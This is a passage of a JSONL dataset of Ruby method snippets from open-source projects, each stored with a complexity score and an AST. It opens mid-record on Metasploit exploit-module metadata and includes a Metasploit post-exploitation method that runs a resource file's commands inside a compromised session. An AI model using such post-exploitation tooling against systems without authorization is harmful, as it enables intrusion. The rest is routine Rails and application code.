Universal\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CmdStagerFlavor\"]},{\"type\":\"str\",\"children\":[\"vbs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-01-18\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[3000]}]}]}]}]}]}","id":"76a32aca-5c3b-4a65-850f-160ecc797270"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/models/concerns/timebox_shared_examples.rb","start_line":85,"raw_source":"def box(from, to)\n      create(\n        factory,\n        *timebox_args,\n        start_date: from || open_on_left,\n        due_date: to || open_on_right\n      )\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"box\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"from\"]},{\"type\":\"arg\",\"children\":[\"to\"]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"send\",\"children\":[null,\"factory\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"timebox_args\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_date\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from\"]},{\"type\":\"send\",\"children\":[null,\"open_on_left\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"due_date\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[null,\"open_on_right\"]}]}]}]}]}]}","id":"188401f8-5d03-40e4-af23-57ee03c619de"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/fetch_test.rb","start_line":49,"raw_source":"def test_fetch_cache_hit_publishes_cache_notification\n    expected_kwargs = {}\n    IdentityCache.cache.cache_fetcher.expects(:fetch).with(@blob_key, **expected_kwargs).returns(@cached_value)\n    expected = { memoizing: false, resolve_miss_time: 0, memo_hits: 0, cache_hits: 1, cache_misses: 0 }\n\n    events = 0\n    subscriber = ActiveSupport::Notifications.subscribe(\"cache_fetch.identity_cache\") do |_, _, _, _, payload|\n      events += 1\n      assert_equal(expected, payload)\n    end\n    Item.fetch(1)\n    assert_equal(1, events)\n  ensure\n    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber\n  end","complexity_score":23.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetch_cache_hit_publishes_cache_notification\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected_kwargs\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"cache\"]},\"cache_fetcher\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"fetch\"]}]},\"with\",{\"type\":\"ivar\",\"children\":[\"@blob_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_kwargs\"]}]}]}]},\"returns\",{\"type\":\"ivar\",\"children\":[\"@cached_value\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"memoizing\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resolve_miss_time\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"memo_hits\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cache_hits\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cache_misses\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"events\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"subscriber\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"subscribe\",{\"type\":\"str\",\"children\":[\"cache_fetch.identity_cache\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"events\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"fetch\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"events\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriber\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"unsubscribe\",{\"type\":\"lvar\",\"children\":[\"subscriber\"]}]},null]}]}]}","id":"17c01351-1a0b-4d84-9bfb-dfb8ca045489"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/public/api/v1/inboxes/contacts_controller.rb","start_line":37,"raw_source":"def valid_hmac?\n    params[:identifier_hash] == OpenSSL::HMAC.hexdigest(\n      'sha256',\n      @inbox_channel.hmac_token,\n      params[:identifier].to_s\n    )\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_hmac?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"identifier_hash\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"HMAC\"]},\"hexdigest\",{\"type\":\"str\",\"children\":[\"sha256\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inbox_channel\"]},\"hmac_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"identifier\"]}]},\"to_s\"]}]}]}]}","id":"449fd447-45e8-4591-a663-2cf9bdf0a632"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/run_console_rc_file.rb","start_line":35,"raw_source":"def run\n    if !::File.exist?(datastore['RESOURCE'])\n      raise 'Resource File does not exist!'\n    end\n\n    hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']\n    print_status(\"Running module against #{hostname} (#{session.session_host})\")\n\n    ::File.open(datastore['RESOURCE'], 'rb').each_line do |cmd|\n      next if cmd.strip.empty?\n      next if cmd.start_with?('#')\n\n      begin\n        print_status \"Running command #{cmd.chomp}\"\n        session.console.run_single(cmd.chomp)\n      rescue StandardError => e\n        print_status(\"Error Running Command #{cmd.chomp}: #{e.class} #{e}\")\n      end\n    end\n  end","complexity_score":47.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"exist?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RESOURCE\"]}]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Resource File does not exist!\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"hostname\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"hostname\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Computer\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Running module against \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hostname\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"session_host\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"open\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RESOURCE\"]}]},{\"type\":\"str\",\"children\":[\"rb\"]}]},\"each_line\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"strip\"]},\"empty?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"#\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Running command \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"chomp\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"console\"]},\"run_single\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"chomp\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error Running Command \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"chomp\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}]}]}]}]}","id":"af3e74f3-52e8-4ddd-8f7e-c03763803ee4"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":641,"raw_source":"def test_projects_involvements\n    draw do\n      resources :projects, controller: :project do\n        resources :involvements, :attachments\n      end\n    end\n\n    get \"/projects/1/involvements\"\n    assert_equal \"involvements#index\", @response.body\n    assert_equal \"/projects/1/involvements\", project_involvements_path(project_id: \"1\")\n\n    get \"/projects/1/involvements/new\"\n    assert_equal \"involvements#new\", @response.body\n    assert_equal \"/projects/1/involvements/new\", new_project_involvement_path(project_id: \"1\")\n\n    get \"/projects/1/involvements/1\"\n    assert_equal \"involvements#show\", @response.body\n    assert_equal \"/projects/1/involvements/1\", project_involvement_path(project_id: \"1\", id: \"1\")\n\n    put \"/projects/1/involvements/1\"\n    assert_equal \"involvements#update\", @response.body\n\n    delete \"/projects/1/involvements/1\"\n    assert_equal \"involvements#destroy\", @response.body\n\n    get \"/projects/1/involvements/1/edit\"\n    assert_equal \"involvements#edit\", @response.body\n    assert_equal \"/projects/1/involvements/1/edit\", edit_project_involvement_path(project_id: \"1\", id: \"1\")\n  end","complexity_score":33.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_projects_involvements\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"projects\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"sym\",\"children\":[\"project\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"involvements\"]},{\"type\":\"sym\",\"children\":[\"attachments\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/projects/1/involvements\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"involvements#index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/projects/1/involvements\"]},{\"type\":\"send\",\"children\":[null,\"project_involvements_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/projects/1/involvements/new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"involvements#new\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/projects/1/involvements/new\"]},{\"type\":\"send\",\"children\":[null,\"new_project_involvement_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/projects/1/involvements/1\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"involvements#show\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/projects/1/involvements/1\"]},{\"type\":\"send\",\"children\":[null,\"project_involvement_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"put\",{\"type\":\"str\",\"children\":[\"/projects/1/involvements/1\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"involvements#update\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"delete\",{\"type\":\"str\",\"children\":[\"/projects/1/involvements/1\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"involvements#destroy\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/projects/1/involvements/1/edit\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"involvements#edit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/projects/1/involvements/1/edit\"]},{\"type\":\"send\",\"children\":[null,\"edit_project_involvement_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]}]}]}]}]}","id":"db89a100-3fa4-4b8a-a0ff-5f6970da666c"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/modals/topic_bulk_actions.rb","start_line":19,"raw_source":"def click_silent\n        find(\"#topic-bulk-action-options__silent\").click\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"click_silent\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"#topic-bulk-action-options__silent\"]}]},\"click\"]}]}","id":"fd30f5c3-e983-4062-aea9-70c7189ea4f1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/admin/admin_abuse_reports_spec.rb","start_line":157,"raw_source":"def report_rows\n      page.all(abuse_report_row_selector)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"report_rows\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"all\",{\"type\":\"send\",\"children\":[null,\"abuse_report_row_selector\"]}]}]}","id":"15a9a2c1-3ff8-4097-97e7-65fb83308083"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/users/username_generator.rb","start_line":37,"raw_source":"def random_username\n      (\"a\"..\"z\").to_a.sample(12).join\n    end","complexity_score":3.95,"ast_json":"{\"type\":\"def\",\"children\":[\"random_username\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"str\",\"children\":[\"z\"]}]}]},\"to_a\"]},\"sample\",{\"type\":\"int\",\"children\":[12]}]},\"join\"]}]}","id":"6bf49eed-c854-4795-b919-ff98a75b2517"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/fetch_test.rb","start_line":262,"raw_source":"def test_fetch_by_title_caches_nil\n    assert_nil(Item.fetch_by_title(\"missing\"))\n    assert_no_queries do\n      assert_nil(Item.fetch_by_title(\"missing\"))\n    end\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetch_by_title_caches_nil\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"fetch_by_title\",{\"type\":\"str\",\"children\":[\"missing\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"fetch_by_title\",{\"type\":\"str\",\"children\":[\"missing\"]}]}]}]}]}]}","id":"edc2808a-4d15-4bd3-b5c9-c9a58cc0f3ff"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/error_tracking/project_error_tracking_setting.rb","start_line":97,"raw_source":"def self.build_api_url_from(api_host:, project_slug:, organization_slug:)\n      return if api_host.blank?\n\n      uri = Addressable::URI.parse(\"#{api_host}/api/0/projects/#{organization_slug}/#{project_slug}/\")\n      uri.path = uri.path.squeeze('/')\n\n      uri.to_s\n    rescue Addressable::URI::InvalidURIError\n      api_host\n    end","complexity_score":10.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build_api_url_from\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"api_host\"]},{\"type\":\"kwarg\",\"children\":[\"project_slug\"]},{\"type\":\"kwarg\",\"children\":[\"organization_slug\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_host\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Addressable\"]},\"URI\"]},\"parse\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_host\"]}]},{\"type\":\"str\",\"children\":[\"/api/0/projects/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"organization_slug\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_slug\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"path=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"path\"]},\"squeeze\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"to_s\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Addressable\"]},\"URI\"]},\"InvalidURIError\"]}]},null,{\"type\":\"lvar\",\"children\":[\"api_host\"]}]},null]}]}","id":"7e4084eb-b0b9-4e27-b4cb-9fb309226666"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_controller/metal/helpers.rb","start_line":125,"raw_source":"def helpers\n      @_helper_proxy ||= view_context\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"helpers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@_helper_proxy\"]},{\"type\":\"send\",\"children\":[null,\"view_context\"]}]}]}","id":"435f5c1d-cb29-4872-b093-0725b03e7dc1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/asciidoc/include_processor.rb","start_line":80,"raw_source":"def read_content(filename)\n        return included_content[filename] if included_content.key?(filename)\n\n        included_content[filename] = if target_http?(filename)\n                                       read_uri(filename)\n                                     else\n                                       read_blob(ref, filename)\n                                     end\n      end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"read_content\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"included_content\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"included_content\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"included_content\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_http?\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"send\",\"children\":[null,\"read_uri\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"send\",\"children\":[null,\"read_blob\",{\"type\":\"send\",\"children\":[null,\"ref\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}]}]}","id":"02d505d6-d74d-4341-8a57-e6bbed1dbd9e"}
{"repo_name":"forem","file_path":"./repos/forem/app/workers/follows/update_points_worker.rb","start_line":6,"raw_source":"def perform(article_id, user_id)\n      article = Article.find_by(id: article_id)\n      user = User.find_by(id: user_id)\n      return unless article && user\n\n      adjust_other_tag_follows_of_user(user.id)\n      followed_tag_names =\n        user.cached_followed_tag_names + user.cached_antifollowed_tag_names\n      article.tag_list.each do |tag_name|\n        if followed_tag_names.include?(tag_name)\n          recalculate_tag_follow_points(tag_name, user)\n        end\n      end\n    end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"article_id\"]},{\"type\":\"arg\",\"children\":[\"user_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"article\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Article\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"article_id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"adjust_other_tag_follows_of_user\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"followed_tag_names\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"cached_followed_tag_names\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"cached_antifollowed_tag_names\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"tag_list\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"followed_tag_names\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"tag_name\"]}]},{\"type\":\"send\",\"children\":[null,\"recalculate_tag_follow_points\",{\"type\":\"lvar\",\"children\":[\"tag_name\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},null]}]}]}]}","id":"ae7f5f32-1027-4709-8951-3abd0f992053"}
